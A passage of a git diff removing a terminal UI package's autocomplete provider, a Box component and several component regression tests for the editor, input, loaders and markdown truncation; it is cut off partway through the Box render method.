{ disposed: 0 }; - c.addChild(makeDisposableChild(counter)); - c.addChild(makeDisposableChild(counter)); - - c.detachChildren(); - - assert.equal(c.children.length, 0); - assert.equal(counter.disposed, 0); - }); - - it("clear() still disposes children (regression guard for detach/dispose split)", () => { - const c = new Container(); - const counter = { disposed: 0 }; - c.addChild(makeDisposableChild(counter)); - c.addChild(makeDisposableChild(counter)); - - c.clear(); - - assert.equal(c.children.length, 0); - assert.equal(counter.disposed, 2); - }); -}); diff --git a/packages/pi-tui/src/autocomplete.ts b/packages/pi-tui/src/autocomplete.ts deleted file mode 100644 index c41a4e94d..000000000 --- a/packages/pi-tui/src/autocomplete.ts +++ /dev/null @@ -1,754 +0,0 @@ -import { readdirSync, statSync } from "node:fs"; -import { homedir } from "node:os"; -import { basename, dirname, join } from "node:path"; -import { fuzzyFind } from "@singularity-forge/native/fd"; -import { fuzzyFilter } from "./fuzzy.js"; - -const PATH_DELIMITERS = new Set([" ", "\t", '"', "'", "="]); -const FUZZY_FILE_MAX_RESULTS = 20; - -function findLastDelimiter(text: string): number { - for (let i = text.length - 1; i >= 0; i -= 1) { - if (PATH_DELIMITERS.has(text[i] ?? "")) { - return i; - } - } - return -1; -} - -function findUnclosedQuoteStart(text: string): number | null { - let inQuotes = false; - let quoteStart = -1; - - for (let i = 0; i < text.length; i += 1) { - if (text[i] === '"') { - inQuotes = !inQuotes; - if (inQuotes) { - quoteStart = i; - } - } - } - - return inQuotes ? quoteStart : null; -} - -function isTokenStart(text: string, index: number): boolean { - return index === 0 || PATH_DELIMITERS.has(text[index - 1] ?? ""); -} - -function extractQuotedPrefix(text: string): string | null { - const quoteStart = findUnclosedQuoteStart(text); - if (quoteStart === null) { - return null; - } - - if (quoteStart > 0 && text[quoteStart - 1] === "@") { - if (!isTokenStart(text, quoteStart - 1)) { - return null; - } - return text.slice(quoteStart - 1); - } - - if (!isTokenStart(text, quoteStart)) { - return null; - } - - return text.slice(quoteStart); -} - -function parsePathPrefix(prefix: string): { - rawPrefix: string; - isAtPrefix: boolean; - isQuotedPrefix: boolean; -} { - if (prefix.startsWith('@"')) { - return { - rawPrefix: prefix.slice(2), - isAtPrefix: true, - isQuotedPrefix: true, - }; - } - if (prefix.startsWith('"')) { - return { - rawPrefix: prefix.slice(1), - isAtPrefix: false, - isQuotedPrefix: true, - }; - } - if (prefix.startsWith("@")) { - return { - rawPrefix: prefix.slice(1), - isAtPrefix: true, - isQuotedPrefix: false, - }; - } - return { rawPrefix: prefix, isAtPrefix: false, isQuotedPrefix: false }; -} - -function buildCompletionValue( - path: string, - options: { - isDirectory: boolean; - isAtPrefix: boolean; - isQuotedPrefix: boolean; - }, -): string { - const needsQuotes = options.isQuotedPrefix || path.includes(" "); - const prefix = options.isAtPrefix ? "@" : ""; - - if (!needsQuotes) { - return `${prefix}${path}`; - } - - const openQuote = `${prefix}"`; - const closeQuote = '"'; - return `${openQuote}${path}${closeQuote}`; -} - -export interface AutocompleteItem { - value: string; - label: string; - description?: string; -} - -export interface SlashCommand { - name: string; - description?: string; - // Function to get argument completions for this command - // Returns null if no argument completion is available - getArgumentCompletions?(argumentPrefix: string): AutocompleteItem[] | null; -} - -export interface AutocompleteProvider { - // Get autocomplete suggestions for current text/cursor position - // Returns null if no suggestions available - getSuggestions( - lines: string[], - cursorLine: number, - cursorCol: number, - ): { - items: AutocompleteItem[]; - prefix: string; // What we're matching against (e.g., "/" or "src/") - } | null; - - // Apply the selected item - // Returns the new text and cursor position - applyCompletion( - lines: string[], - cursorLine: number, - cursorCol: number, - item: AutocompleteItem, - prefix: string, - ): { - lines: string[]; - cursorLine: number; - cursorCol: number; - }; -} - -// Combined provider that handles both slash commands and file paths -export class CombinedAutocompleteProvider implements AutocompleteProvider { - private commands: (SlashCommand | AutocompleteItem)[]; - private basePath: string; - private respectGitignore: boolean; - private excludeDirs: Set; - - constructor( - commands: (SlashCommand | AutocompleteItem)[] = [], - basePath: string = process.cwd(), - options?: { respectGitignore?: boolean; excludeDirs?: string[] }, - ) { - this.commands = commands; - this.basePath = basePath; - this.respectGitignore = options?.respectGitignore ?? true; - this.excludeDirs = new Set(options?.excludeDirs ?? []); - } - - setRespectGitignore(value: boolean): void { - this.respectGitignore = value; - } - - setExcludeDirs(dirs: string[]): void { - this.excludeDirs = new Set(dirs.filter(Boolean)); - } - - getSuggestions( - lines: string[], - cursorLine: number, - cursorCol: number, - ): { items: AutocompleteItem[]; prefix: string } | null { - const currentLine = lines[cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, cursorCol); - const trimmedBeforeCursor = textBeforeCursor.trimStart(); - - // Check for @ file reference (fuzzy search) - must be after a delimiter or at start - const atPrefix = this.extractAtPrefix(textBeforeCursor); - if (atPrefix) { - const { rawPrefix, isQuotedPrefix } = parsePathPrefix(atPrefix); - const suggestions = this.getFuzzyFileSuggestions(rawPrefix, { - isQuotedPrefix: isQuotedPrefix, - }); - if (suggestions.length === 0) return null; - - return { - items: suggestions, - prefix: atPrefix, - }; - } - - // Check for slash commands - if (trimmedBeforeCursor.startsWith("/")) { - const spaceIndex = trimmedBeforeCursor.indexOf(" "); - - if (spaceIndex === -1) { - // No space yet - complete command names with fuzzy matching - const prefix = trimmedBeforeCursor.slice(1); // Remove the "/" - const commandItems = this.commands.map((cmd) => ({ - name: "name" in cmd ? cmd.name : cmd.value, - label: "name" in cmd ? cmd.name : cmd.label, - description: cmd.description, - })); - - const filtered = fuzzyFilter( - commandItems, - prefix, - (item) => item.name, - ).map((item) => ({ - value: item.name, - label: item.label, - ...(item.description && { description: item.description }), - })); - - if (filtered.length === 0) return null; - - return { - items: filtered, - prefix: `/${prefix}`, - }; - } else { - // Space found - complete command arguments - const commandName = trimmedBeforeCursor.slice(1, spaceIndex); // Command without "/" - const argumentText = trimmedBeforeCursor.slice(spaceIndex + 1); // Text after space - - const command = this.commands.find((cmd) => { - const name = "name" in cmd ? cmd.name : cmd.value; - return name === commandName; - }); - if ( - !command || - !("getArgumentCompletions" in command) || - !command.getArgumentCompletions - ) { - return null; // No argument completion for this command - } - - const argumentSuggestions = - command.getArgumentCompletions(argumentText); - if (!argumentSuggestions || argumentSuggestions.length === 0) { - return null; - } - - return { - items: argumentSuggestions, - prefix: argumentText, - }; - } - } - - // Check for file paths - triggered by Tab or if we detect a path pattern - const pathMatch = this.extractPathPrefix(textBeforeCursor, false); - - if (pathMatch !== null) { - const suggestions = this.getFileSuggestions(pathMatch); - if (suggestions.length === 0) return null; - - // Check if we have an exact match that is a directory - // In that case, we might want to return suggestions for the directory content instead - // But only if the prefix ends with / - if ( - suggestions.length === 1 && - suggestions[0]?.value === pathMatch && - !pathMatch.endsWith("/") - ) { - // Exact match found (e.g. user typed "src" and "src/" is the only match) - // We still return it so user can select it and add / - return { - items: suggestions, - prefix: pathMatch, - }; - } - - return { - items: suggestions, - prefix: pathMatch, - }; - } - - return null; - } - - applyCompletion( - lines: string[], - cursorLine: number, - cursorCol: number, - item: AutocompleteItem, - prefix: string, - ): { lines: string[]; cursorLine: number; cursorCol: number } { - const currentLine = lines[cursorLine] || ""; - const beforePrefix = currentLine.slice(0, cursorCol - prefix.length); - const afterCursor = currentLine.slice(cursorCol); - const isQuotedPrefix = prefix.startsWith('"') || prefix.startsWith('@"'); - const hasLeadingQuoteAfterCursor = afterCursor.startsWith('"'); - const hasTrailingQuoteInItem = item.value.endsWith('"'); - const adjustedAfterCursor = - isQuotedPrefix && hasTrailingQuoteInItem && hasLeadingQuoteAfterCursor - ? afterCursor.slice(1) - : afterCursor; - - // Check if we're completing a slash command (prefix starts with "/" but NOT a file path) - // Slash commands are at the start of the line and don't contain path separators after the first / - const trimmedPrefix = prefix.trimStart(); - const isSlashCommand = - trimmedPrefix.startsWith("/") && - beforePrefix.trim() === "" && - !trimmedPrefix.slice(1).includes("/"); - if (isSlashCommand) { - // This is a command name completion - const newLine = `${beforePrefix}/${item.value} ${adjustedAfterCursor}`; - const newLines = [...lines]; - newLines[cursorLine] = newLine; - - return { - lines: newLines, - cursorLine, - cursorCol: beforePrefix.length + item.value.length + 2, // +2 for "/" and space - }; - } - - // Check if we're completing a file attachment (prefix starts with "@") - if (prefix.startsWith("@")) { - // This is a file attachment completion - // Don't add space after directories so user can continue autocompleting - const isDirectory = item.label.endsWith("/"); - const suffix = isDirectory ? "" : " "; - const newLine = `${beforePrefix + item.value}${suffix}${adjustedAfterCursor}`; - const newLines = [...lines]; - newLines[cursorLine] = newLine; - - const hasTrailingQuote = item.value.endsWith('"'); - const cursorOffset = - isDirectory && hasTrailingQuote - ? item.value.length - 1 - : item.value.length; - - return { - lines: newLines, - cursorLine, - cursorCol: beforePrefix.length + cursorOffset + suffix.length, - }; - } - - // Check if we're in a slash command context (beforePrefix contains "/command ") - const textBeforeCursor = currentLine.slice(0, cursorCol); - if (textBeforeCursor.includes("/") && textBeforeCursor.includes(" ")) { - // This is likely a command argument completion - const newLine = beforePrefix + item.value + adjustedAfterCursor; - const newLines = [...lines]; - newLines[cursorLine] = newLine; - - const isDirectory = item.label.endsWith("/"); - const hasTrailingQuote = item.value.endsWith('"'); - const cursorOffset = - isDirectory && hasTrailingQuote - ? item.value.length - 1 - : item.value.length; - - return { - lines: newLines, - cursorLine, - cursorCol: beforePrefix.length + cursorOffset, - }; - } - - // For file paths, complete the path - const newLine = beforePrefix + item.value + adjustedAfterCursor; - const newLines = [...lines]; - newLines[cursorLine] = newLine; - - const isDirectory = item.label.endsWith("/"); - const hasTrailingQuote = item.value.endsWith('"'); - const cursorOffset = - isDirectory && hasTrailingQuote - ? item.value.length - 1 - : item.value.length; - - return { - lines: newLines, - cursorLine, - cursorCol: beforePrefix.length + cursorOffset, - }; - } - - // Extract @ prefix for fuzzy file suggestions - private extractAtPrefix(text: string): string | null { - const quotedPrefix = extractQuotedPrefix(text); - if (quotedPrefix?.startsWith('@"')) { - return quotedPrefix; - } - - const lastDelimiterIndex = findLastDelimiter(text); - const tokenStart = lastDelimiterIndex === -1 ? 0 : lastDelimiterIndex + 1; - - if (text[tokenStart] === "@") { - return text.slice(tokenStart); - } - - return null; - } - - // Extract a path-like prefix from the text before cursor - private extractPathPrefix( - text: string, - forceExtract: boolean = false, - ): string | null { - const quotedPrefix = extractQuotedPrefix(text); - if (quotedPrefix) { - return quotedPrefix; - } - - const lastDelimiterIndex = findLastDelimiter(text); - const pathPrefix = - lastDelimiterIndex === -1 ? text : text.slice(lastDelimiterIndex + 1); - - // For forced extraction (Tab key), always return something - if (forceExtract) { - return pathPrefix; - } - - // For natural triggers, return if it looks like a path, ends with /, starts with ~/, . - // Only return empty string if the text looks like it's starting a path context - if ( - pathPrefix.includes("/") || - pathPrefix.startsWith(".") || - pathPrefix.startsWith("~/") - ) { - return pathPrefix; - } - - // Return empty string only after a space (not for completely empty text) - // Empty text should not trigger file suggestions - that's for forced Tab completion - if (pathPrefix === "" && text.endsWith(" ")) { - return pathPrefix; - } - - return null; - } - - // Expand home directory (~/) to actual home path - private expandHomePath(path: string): string { - if (path.startsWith("~/")) { - const expandedPath = join(homedir(), path.slice(2)); - // Preserve trailing slash if original path had one - return path.endsWith("/") && !expandedPath.endsWith("/") - ? `${expandedPath}/` - : expandedPath; - } else if (path === "~") { - return homedir(); - } - return path; - } - - private resolveScopedFuzzyQuery( - rawQuery: string, - ): { baseDir: string; query: string; displayBase: string } | null { - const slashIndex = rawQuery.lastIndexOf("/"); - if (slashIndex === -1) { - return null; - } - - const displayBase = rawQuery.slice(0, slashIndex + 1); - const query = rawQuery.slice(slashIndex + 1); - - let baseDir: string; - if (displayBase.startsWith("~/")) { - baseDir = this.expandHomePath(displayBase); - } else if (displayBase.startsWith("/")) { - baseDir = displayBase; - } else { - baseDir = join(this.basePath, displayBase); - } - - try { - if (!statSync(baseDir).isDirectory()) { - return null; - } - } catch { - return null; - } - - return { baseDir, query, displayBase }; - } - - private scopedPathForDisplay( - displayBase: string, - relativePath: string, - ): string { - if (displayBase === "/") { - return `/${relativePath}`; - } - return `${displayBase}${relativePath}`; - } - - // Get file/directory suggestions for a given path prefix - private getFileSuggestions(prefix: string): AutocompleteItem[] { - try { - let searchDir: string; - let searchPrefix: string; - const { rawPrefix, isAtPrefix, isQuotedPrefix } = parsePathPrefix(prefix); - let expandedPrefix = rawPrefix; - - // Handle home directory expansion - if (expandedPrefix.startsWith("~")) { - expandedPrefix = this.expandHomePath(expandedPrefix); - } - - const isRootPrefix = - rawPrefix === "" || - rawPrefix === "./" || - rawPrefix === "../" || - rawPrefix === "~" || - rawPrefix === "~/" || - rawPrefix === "/" || - (isAtPrefix && rawPrefix === ""); - - if (isRootPrefix) { - // Complete from specified position - if (rawPrefix.startsWith("~") || expandedPrefix.startsWith("/")) { - searchDir = expandedPrefix; - } else { - searchDir = join(this.basePath, expandedPrefix); - } - searchPrefix = ""; - } else if (rawPrefix.endsWith("/")) { - // If prefix ends with /, show contents of that directory - if (rawPrefix.startsWith("~") || expandedPrefix.startsWith("/")) { - searchDir = expandedPrefix; - } else { - searchDir = join(this.basePath, expandedPrefix); - } - searchPrefix = ""; - } else { - // Split into directory and file prefix - const dir = dirname(expandedPrefix); - const file = basename(expandedPrefix); - if (rawPrefix.startsWith("~") || expandedPrefix.startsWith("/")) { - searchDir = dir; - } else { - searchDir = join(this.basePath, dir); - } - searchPrefix = file; - } - - const entries = readdirSync(searchDir, { withFileTypes: true }); - const suggestions: AutocompleteItem[] = []; - - for (const entry of entries) { - if (!entry.name.toLowerCase().startsWith(searchPrefix.toLowerCase())) { - continue; - } - - // Skip excluded directories - if (this.excludeDirs.has(entry.name)) { - continue; - } - - // Check if entry is a directory (or a symlink pointing to a directory) - let isDirectory = entry.isDirectory(); - if (!isDirectory && entry.isSymbolicLink()) { - try { - const fullPath = join(searchDir, entry.name); - isDirectory = statSync(fullPath).isDirectory(); - } catch { - // Broken symlink or permission error - treat as file - } - } - - let relativePath: string; - const name = entry.name; - const displayPrefix = rawPrefix; - - if (displayPrefix.endsWith("/")) { - // If prefix ends with /, append entry to the prefix - relativePath = displayPrefix + name; - } else if (displayPrefix.includes("/")) { - // Preserve ~/ format for home directory paths - if (displayPrefix.startsWith("~/")) { - const homeRelativeDir = displayPrefix.slice(2); // Remove ~/ - const dir = dirname(homeRelativeDir); - relativePath = `~/${dir === "." ? name : join(dir, name)}`; - } else if (displayPrefix.startsWith("/")) { - // Absolute path - construct properly - const dir = dirname(displayPrefix); - if (dir === "/") { - relativePath = `/${name}`; - } else { - relativePath = `${dir}/${name}`; - } - } else { - relativePath = join(dirname(displayPrefix), name); - } - } else { - // For standalone entries, preserve ~/ if original prefix was ~/ - if (displayPrefix.startsWith("~")) { - relativePath = `~/${name}`; - } else { - relativePath = name; - } - } - - const pathValue = isDirectory ? `${relativePath}/` : relativePath; - const value = buildCompletionValue(pathValue, { - isDirectory, - isAtPrefix, - isQuotedPrefix, - }); - - suggestions.push({ - value, - label: name + (isDirectory ? "/" : ""), - }); - } - - // Sort directories first, then alphabetically - suggestions.sort((a, b) => { - const aIsDir = a.value.endsWith("/"); - const bIsDir = b.value.endsWith("/"); - if (aIsDir && !bIsDir) return -1; - if (!aIsDir && bIsDir) return 1; - return a.label.localeCompare(b.label); - }); - - return suggestions; - } catch (_e) { - // Directory doesn't exist or not accessible - return []; - } - } - - // Fuzzy file search using the native fd module (fast, respects .gitignore) - private getFuzzyFileSuggestions( - query: string, - options: { isQuotedPrefix: boolean }, - ): AutocompleteItem[] { - try { - const scopedQuery = this.resolveScopedFuzzyQuery(query); - const searchQuery = scopedQuery?.query ?? query; - - // Skip the expensive filesystem walk when the query is empty. - // An empty query (bare "@" with nothing typed yet) would walk the - // entire directory tree via the native fuzzyFind call, blocking - // the event loop and freezing the TUI on large repos. - if (searchQuery.length === 0 && !scopedQuery) { - return []; - } - - const searchPath = scopedQuery?.baseDir ?? this.basePath; - - const result = fuzzyFind({ - query: searchQuery, - path: searchPath, - hidden: true, - gitignore: this.respectGitignore, - maxResults: FUZZY_FILE_MAX_RESULTS, - }); - - // Build suggestions - const suggestions: AutocompleteItem[] = []; - for (const { path: entryPath, isDirectory } of result.matches) { - // Native module includes trailing / for directories - const pathWithoutSlash = isDirectory - ? entryPath.slice(0, -1) - : entryPath; - - // Skip paths that start with or contain an excluded directory - if (this.excludeDirs.size > 0) { - const segments = pathWithoutSlash.split("/"); - if (segments.some((seg) => this.excludeDirs.has(seg))) continue; - } - - const displayPath = scopedQuery - ? this.scopedPathForDisplay(scopedQuery.displayBase, pathWithoutSlash) - : pathWithoutSlash; - const entryName = basename(pathWithoutSlash); - const completionPath = isDirectory ? `${displayPath}/` : displayPath; - const value = buildCompletionValue(completionPath, { - isDirectory, - isAtPrefix: true, - isQuotedPrefix: options.isQuotedPrefix, - }); - - suggestions.push({ - value, - label: entryName + (isDirectory ? "/" : ""), - description: displayPath, - }); - } - - return suggestions; - } catch { - return []; - } - } - - // Force file completion (called on Tab key) - always returns suggestions - getForceFileSuggestions( - lines: string[], - cursorLine: number, - cursorCol: number, - ): { items: AutocompleteItem[]; prefix: string } | null { - const currentLine = lines[cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, cursorCol); - - // Don't trigger if we're typing a slash command at the start of the line - if ( - textBeforeCursor.trim().startsWith("/") && - !textBeforeCursor.trim().includes(" ") - ) { - return null; - } - - // Force extract path prefix - this will always return something - const pathMatch = this.extractPathPrefix(textBeforeCursor, true); - if (pathMatch !== null) { - const suggestions = this.getFileSuggestions(pathMatch); - if (suggestions.length === 0) return null; - - return { - items: suggestions, - prefix: pathMatch, - }; - } - - return null; - } - - // Check if we should trigger file completion (called on Tab key) - shouldTriggerFileCompletion( - lines: string[], - cursorLine: number, - cursorCol: number, - ): boolean { - const currentLine = lines[cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, cursorCol); - - // Don't trigger if we're typing a slash command at the start of the line - if ( - textBeforeCursor.trim().startsWith("/") && - !textBeforeCursor.trim().includes(" ") - ) { - return false; - } - - return true; - } -} diff --git a/packages/pi-tui/src/components/__tests__/cancellable-loader.test.ts b/packages/pi-tui/src/components/__tests__/cancellable-loader.test.ts deleted file mode 100644 index e8a9803d4..000000000 --- a/packages/pi-tui/src/components/__tests__/cancellable-loader.test.ts +++ /dev/null @@ -1,60 +0,0 @@ -// pi-tui CancellableLoader component regression tests -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import { afterEach, beforeEach, describe, it, vi } from "vitest"; -import { CancellableLoader } from "../cancellable-loader.js"; - -function makeMockTUI() { - return { requestRender: vi.fn() } as any; -} - -describe("CancellableLoader", () => { - let loader: CancellableLoader; - let tui: ReturnType; - - beforeEach(() => { - tui = makeMockTUI(); - }); - - afterEach(() => { - loader?.dispose(); - }); - - it("dispose() aborts the AbortController signal", () => { - loader = new CancellableLoader( - tui, - (s) => s, - (s) => s, - "test", - ); - assert.equal(loader.aborted, false); - loader.dispose(); - assert.equal(loader.aborted, true); - }); - - it("dispose() clears the onAbort callback", () => { - loader = new CancellableLoader( - tui, - (s) => s, - (s) => s, - "test", - ); - loader.onAbort = () => {}; - loader.dispose(); - assert.equal(loader.onAbort, undefined); - }); - - it("signal is aborted after dispose()", () => { - loader = new CancellableLoader( - tui, - (s) => s, - (s) => s, - "test", - ); - const signal = loader.signal; - assert.equal(signal.aborted, false); - loader.dispose(); - assert.equal(signal.aborted, true); - }); -}); diff --git a/packages/pi-tui/src/components/__tests__/editor.test.ts b/packages/pi-tui/src/components/__tests__/editor.test.ts deleted file mode 100644 index 850ddda45..000000000 --- a/packages/pi-tui/src/components/__tests__/editor.test.ts +++ /dev/null @@ -1,81 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import type { Terminal } from "../../terminal.js"; -import { CURSOR_MARKER, TUI } from "../../tui.js"; -import { Editor, type EditorTheme } from "../editor.js"; - -function makeTerminal(): Terminal { - return { - isTTY: true, - columns: 80, - rows: 24, - kittyProtocolActive: false, - start() {}, - stop() {}, - drainInput: async () => {}, - write() {}, - moveBy() {}, - hideCursor() {}, - showCursor() {}, - clearLine() {}, - clearFromCursor() {}, - clearScreen() {}, - setTitle() {}, - }; -} - -const theme: EditorTheme = { - borderColor: (text) => text, - selectList: { - selectedPrefix: (text) => text, - selectedText: (text) => text, - description: (text) => text, - scrollInfo: (text) => text, - noMatch: (text) => text, - }, -}; - -describe("Editor", () => { - it("clears bracketed paste state when focus is lost", () => { - const editor = new Editor(new TUI(makeTerminal()), theme); - editor.focused = true; - - editor.handleInput("\x1b[200~partial"); - editor.focused = false; - editor.focused = true; - editor.handleInput("hello"); - - assert.equal(editor.getText(), "hello"); - }); - - it("keeps the hardware cursor marker visible while autocomplete is open", () => { - const editor = new Editor(new TUI(makeTerminal()), theme); - editor.focused = true; - editor.setText("/se"); - - (editor as any).autocompleteState = "regular"; - (editor as any).autocompleteList = { render: () => [] }; - - const rendered = editor.render(40).join("\n"); - - assert.ok(rendered.includes(CURSOR_MARKER)); - }); - - it("maps kitty keypad digits to plain editor text", () => { - const editor = new Editor(new TUI(makeTerminal()), theme); - editor.focused = true; - - editor.handleInput("\x1b[57404;129u"); - - assert.equal(editor.getText(), "5"); - }); - - it("does not insert kitty keypad navigation private-use glyphs into the editor", () => { - const editor = new Editor(new TUI(makeTerminal()), theme); - editor.focused = true; - - editor.handleInput("\x1b[57419u"); - - assert.equal(editor.getText(), ""); - }); -}); diff --git a/packages/pi-tui/src/components/__tests__/input.test.ts b/packages/pi-tui/src/components/__tests__/input.test.ts deleted file mode 100644 index 284861e7d..000000000 --- a/packages/pi-tui/src/components/__tests__/input.test.ts +++ /dev/null @@ -1,70 +0,0 @@ -// pi-tui Input component regression tests -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { Input } from "../input.js"; - -describe("Input", () => { - it("paste buffer is cleared when focus is lost", () => { - const input = new Input(); - input.focused = true; - - // Simulate starting a paste (bracket paste start marker) - input.handleInput("\x1b[200~partial"); - - // Now lose focus mid-paste - input.focused = false; - - // Regain focus — should not have stale paste state - input.focused = true; - - // Typing normal text should work without paste buffer corruption - input.handleInput("hello"); - assert.equal(input.getValue(), "hello"); - }); - - it("focused getter/setter works correctly", () => { - const input = new Input(); - assert.equal(input.focused, false); - input.focused = true; - assert.equal(input.focused, true); - input.focused = false; - assert.equal(input.focused, false); - }); - - it("secure mode obscures typed characters in render output", () => { - const input = new Input(); - input.secure = true; - input.focused = true; - input.handleInput("secret123"); - - const line = input.render(40)[0] ?? ""; - assert.ok( - !line.includes("secret123"), - "rendered line must not expose raw secret text", - ); - assert.ok( - line.includes("*********"), - "rendered line should include masked characters", - ); - }); - - it("maps kitty keypad digits to text instead of inserting private-use glyphs", () => { - const input = new Input(); - input.focused = true; - - input.handleInput("\x1b[57400;129u"); - - assert.equal(input.getValue(), "1"); - }); - - it("ignores kitty keypad navigation keys in text input", () => { - const input = new Input(); - input.focused = true; - - input.handleInput("\x1b[57417u"); - - assert.equal(input.getValue(), ""); - }); -}); diff --git a/packages/pi-tui/src/components/__tests__/loader.test.ts b/packages/pi-tui/src/components/__tests__/loader.test.ts deleted file mode 100644 index 5602a232c..000000000 --- a/packages/pi-tui/src/components/__tests__/loader.test.ts +++ /dev/null @@ -1,88 +0,0 @@ -// pi-tui Loader component regression tests -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import { afterEach, beforeEach, describe, it, vi } from "vitest"; -import { Loader } from "../loader.js"; - -function makeMockTUI() { - return { requestRender: vi.fn() } as any; -} - -describe("Loader", () => { - let loader: Loader; - let tui: ReturnType; - - beforeEach(() => { - tui = makeMockTUI(); - }); - - afterEach(() => { - loader?.stop(); - }); - - it("start() is idempotent — calling twice does not leak intervals", () => { - loader = new Loader( - tui, - (s) => s, - (s) => s, - "test", - ); - // Constructor calls start() once, call it again - loader.start(); - // stop() should clear the interval cleanly without orphaned timers - loader.stop(); - }); - - it("dispose() stops the interval and nulls the TUI reference", () => { - loader = new Loader( - tui, - (s) => s, - (s) => s, - "test", - ); - loader.dispose(); - // After dispose, calling stop() again should be safe (no-op) - loader.stop(); - }); - - it("stop() is safe to call multiple times", () => { - loader = new Loader( - tui, - (s) => s, - (s) => s, - "test", - ); - loader.stop(); - loader.stop(); - loader.stop(); - }); - - it("render_when_hidden_returns_no_lines", () => { - loader = new Loader( - tui, - (s) => s, - (s) => s, - "test", - ); - - loader.setVisible(false); - - assert.deepEqual(loader.render(80), []); - }); - - it("setVisible_when_toggled_requests_render", () => { - loader = new Loader( - tui, - (s) => s, - (s) => s, - "test", - ); - tui.requestRender.mockClear(); - - loader.setVisible(false); - loader.setVisible(true); - - assert.equal(tui.requestRender.mock.calls.length, 2); - }); -}); diff --git a/packages/pi-tui/src/components/__tests__/markdown-maxlines.test.ts b/packages/pi-tui/src/components/__tests__/markdown-maxlines.test.ts deleted file mode 100644 index 152f15340..000000000 --- a/packages/pi-tui/src/components/__tests__/markdown-maxlines.test.ts +++ /dev/null @@ -1,94 +0,0 @@ -import assert from "node:assert/strict"; -import { test } from "vitest"; - -import { Markdown, type MarkdownTheme } from "../markdown.js"; - -function noopTheme(): MarkdownTheme { - const identity = (text: string) => text; - return { - heading: identity, - link: identity, - linkUrl: identity, - code: identity, - codeBlock: identity, - codeBlockBorder: identity, - quote: identity, - quoteBorder: identity, - hr: identity, - listBullet: identity, - bold: identity, - italic: identity, - strikethrough: identity, - underline: identity, - }; -} - -test("Markdown renders all lines when maxLines is not set", () => { - const text = "Line 1\n\nLine 2\n\nLine 3\n\nLine 4\n\nLine 5"; - const md = new Markdown(text, 0, 0, noopTheme()); - const lines = md.render(80); - // Each paragraph produces a line + an inter-paragraph blank line - const contentLines = lines.filter((l) => l.trim().length > 0); - assert.ok( - contentLines.length >= 5, - `expected at least 5 content lines, got ${contentLines.length}`, - ); -}); - -test("Markdown truncates from the top when maxLines is exceeded", () => { - const text = "Line 1\n\nLine 2\n\nLine 3\n\nLine 4\n\nLine 5"; - const md = new Markdown(text, 0, 0, noopTheme()); - md.maxLines = 3; - const lines = md.render(80); - assert.ok(lines.length <= 3, `expected at most 3 lines, got ${lines.length}`); - // First line should be the ellipsis indicator - assert.ok( - lines[0].includes("…"), - "first line should contain ellipsis indicator", - ); - assert.ok( - lines[0].includes("above"), - "first line should mention lines above", - ); -}); - -test("Markdown preserves most recent content when truncating", () => { - const text = - "First paragraph\n\nSecond paragraph\n\nThird paragraph\n\nFourth paragraph\n\nFifth paragraph"; - const md = new Markdown(text, 0, 0, noopTheme()); - md.maxLines = 3; - const lines = md.render(80); - // The last rendered line should contain "Fifth paragraph" (the most recent content) - const lastContentLine = lines.filter((l) => !l.includes("…")).pop() ?? ""; - assert.ok( - lastContentLine.includes("Fifth paragraph"), - `expected last content line to contain "Fifth paragraph", got "${lastContentLine}"`, - ); -}); - -test("Markdown does not truncate when content fits within maxLines", () => { - const text = "Short text"; - const md = new Markdown(text, 0, 0, noopTheme()); - md.maxLines = 10; - const lines = md.render(80); - assert.ok( - !lines.some((l) => l.includes("…")), - "should not contain ellipsis when content fits", - ); - assert.ok( - lines.some((l) => l.includes("Short text")), - "should contain the original text", - ); -}); - -test("Markdown trims trailing empty lines", () => { - const text = "Some text\n\n"; - const md = new Markdown(text, 0, 0, noopTheme()); - const lines = md.render(80); - // Last line should not be empty (trailing empties are trimmed) - const lastLine = lines[lines.length - 1]; - assert.ok( - lastLine.trim().length > 0 || lines.length === 1, - "trailing empty lines should be trimmed", - ); -}); diff --git a/packages/pi-tui/src/components/box.ts b/packages/pi-tui/src/components/box.ts deleted file mode 100644 index 68aa2d992..000000000 --- a/packages/pi-tui/src/components/box.ts +++ /dev/null @@ -1,151 +0,0 @@ -import type { Component } from "../tui.js"; -import { applyBackgroundToLine, visibleWidth } from "../utils.js"; - -type RenderCache = { - childLines: string[]; - width: number; - bgSample: string | undefined; - lines: string[]; -}; - -/** - * Box component - a container that applies padding and background to all children - */ -export class Box implements Component { - children: Component[] = []; - private paddingX: number; - private paddingY: number; - private bgFn?: (text: string) => string; - - // Cache for rendered output - private cache?: RenderCache; - - constructor(paddingX = 1, paddingY = 1, bgFn?: (text: string) => string) { - this.paddingX = paddingX; - this.paddingY = paddingY; - this.bgFn = bgFn; - } - - addChild(component: Component): void { - this.children.push(component); - this.invalidateCache(); - } - - insertChildBefore(component: Component, before: Component): void { - const index = this.children.indexOf(before); - if (index !== -1) { - this.children.splice(index, 0, component); - } else { - this.children.push(component); - } - this.invalidateCache(); - } - - removeChild(component: Component): void { - const index = this.children.indexOf(component); - if (index !== -1) { - this.children.splice(index, 1); - this.invalidateCache(); - } - } - - clear(): void { - this.children = []; - this.invalidateCache(); - } - - setBgFn(bgFn?: (text: string) => string): void { - this.bgFn = bgFn; - // Don't invalidate here - we'll detect bgFn changes by sampling output - } - - private invalidateCache(): void { - this.cache = undefined; - } - - private matchCache( - width: number, - childLines: string[], - bgSample: string | undefined, - ): boolean { - const cache = this.cache; - return ( - !!cache && - cache.width === width && - cache.bgSample === bgSample && - cache.childLines.length === childLines.length && - cache.childLines.every((line, i) => line === childLines[i]) - ); - } - - invalidate(): void { - this.invalidateCache(); - for (const child of this.children) { - child.invalidate?.(); - } - } - - render(width: number): string[] { - if (this.children.length === 0) { - return []; - } - - const contentWidth = Math.max(1, width - this.paddingX * 2); - const leftPad = " ".repeat(this.paddingX); - - // Render all children - const childLines: string[] = []; - for (const child of this.children) { - const lines = child.render(contentWidth); - for (const line of lines) { - childLines.push(leftPad + line); - } - } - - if (childLines.length === 0) { - return []; - } - - // Check if bgFn output changed by sampling - const bgSample = this.bgFn ? this.bgFn("test") : undefined; - - // Check cache validity - 